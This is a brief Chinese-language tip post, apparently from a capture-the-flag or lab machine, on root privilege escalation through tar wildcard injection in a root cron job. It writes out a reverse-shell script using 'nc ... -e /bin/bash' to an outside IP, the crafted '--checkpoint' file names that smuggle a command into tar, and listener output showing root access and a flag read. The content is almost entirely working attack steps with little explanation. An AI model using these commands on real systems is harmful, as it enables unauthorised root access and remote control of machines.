【tips】基于tar通配符漏洞的提权方法

SHELL=/bin/shPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# Example of job definition:# .---------------- minute (0 - 59)# |  .------------- hour (0 - 23)# |  |  .---------- day of month (1 - 31)# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat# |  |  |  |  |# *  *  *  *  * user-name command to be executed*  *    * * *   root    cd /opt/secret/ && tar -zcf /var/backups/secret.tgz *17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cro

创建一个reverse shell脚本echo "nc 192.168.1.103 9090 -e /bin/bash" >shell.shchmod +x shell.sh创建tar将要运行的参数touch -- "--checkpoint=1"touch -- "--checkpoint-action=exec=sh shell.sh"

┌──(root㉿kali)-[~]└─# nc -lvvp 9090                   listening on [any] 9090 ...connect to [192.168.1.103] from hostname [192.168.1.154] 33600id uid=0(root) gid=0(root) groups=0(root)whoamirootscript /dev/null -c bashScript started, output log file is '/dev/null'.root@hostname:/opt/secret# cd /rootcd /rootroot@hostname:~# lslsroot.txtroot@hostname:~# cat root.txtcat root.txtd5806296126a30ceebeaa172ff9c9151root@hostname:~#